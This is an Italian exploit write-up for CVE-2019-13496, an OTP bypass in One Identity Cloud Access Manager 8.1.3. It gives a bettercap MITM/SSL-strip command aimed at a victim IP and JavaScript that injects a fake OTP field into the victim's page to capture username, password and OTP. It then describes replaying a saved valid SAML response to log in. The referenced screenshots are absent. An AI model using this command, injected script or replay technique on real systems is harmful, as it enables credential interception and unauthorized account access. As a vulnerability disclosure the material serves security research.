CVE-2019-13496
Titolo Exploit: Bypass OTP (Controllo di integrità fallito)
Data: 07/10/2019
Autore Exploit: Furqan Khan
Vendor Homepage: https://www.oneidentity.com/
Software Link: https://www.oneidentity.com/products/cloud-access-manager/
Versione: 8.1.3
Testato su: Kali Linux , Windows 7 ,Ubantu 16.04
Per sfruttare la vulnerabilità di bypass OPT , un attaccante utilizza una vulnerabilità scoperta in precedenza di MITM/SSL-Strip CVE-2019-13498 , CVE-2019-13498 .Un attaccante , conduce un attacco MITM/SSL strip usando il quale può iniettare una casella di testo OTP nella pagina web che viene servita alla vittima.Una vittima condivide il proprio nome utente , password e OTP generato da un'app chiamata defender(che è di proprietà dello stesso vendor).L'attaccante intercetta il nome utente , la password e l'OTP e poi tenta di accedere all'applicazione tramite un flusso di lavoro legittimo. Dopo aver inserito nome utente e password (che sono stati rubati) , l'attaccante inserisce l'OTP rubato nella pagina successiva. quando invia la richiesta sulla pagina OTP , la risposta SAML firmata viene salvata.Ora anche se l'attaccante non ha accesso all'app che genera OTP , può inserire un OTP non valido per le transazioni successive e mentre l'applicazione invalida l'OTP , l'attaccante può sostituire la risposta SAML fallita con la risposta SAML legittima ottenuta in precedenza , e l'applicazione non riesce a effettuare un controllo di integrità e fa accedere l'attaccante.
(1) Primo passo dell'attacco è condurre MITM/SSL-Strip che è catturato sotto : CVE-2019-13498 , ed è anche specificato come segue :
Il comando bettercap utilizzato è :
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Qui 192.168.1.103 è l'indirizzo IP della vittima. Se non lo conosciamo , possiamo usare bettercap , per sniffare e manipolare il contenuto dell'intera LAN (rete comune di attaccante e vittima)
Il contenuto di inject_js.js è fornito di seguito
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Ora quando la vittima naviga sul prodotto (Cloud access manager) , a causa del cache poisoning e dell'SSL strip (Bettercap) , una casella di testo OTP verrà iniettata nella pagina che viene servita alla vittima tramite lo snippet javascript iniettato

Dato che la connessione è stata declassata a http tramite ssl-strip , ora tutto il traffico sarà visibile all'attaccante.Quindi possiamo intercettare il traffico , e vedere il nome utente , la password e l'OTP inviati dalla vittima.

Ora supponiamo di aver effettuato l'accesso una volta con le credenziali salvate e di aver salvato tutte le richieste e risposte valide.
In questa sezione impareremo come possiamo utilizzare la risposta OTP salvata in precedenza , per bypassare la convalida OTP che ci permetterà di accedere all'applicazione.
Inseriamo un OTP non valido come mostrato di seguito :

Di seguito è mostrata la risposta che fallisce la convalida OTP.

Sostituisci la risposta fallita , con la risposta legittima salvata in precedenza.

Di seguito è mostrata la risposta SAML che fallisce la convalida OTP.

Sostituisci la risposta fallita , con la risposta SAML legittima salvata in precedenza.

Bingo , l'applicazione ci fa accedere . Idealmente avrebbe dovuto effettuare un controllo di integrità e avrebbe dovuto tenere conto che l'OTP è scaduto.

Bingo ! È stato facile !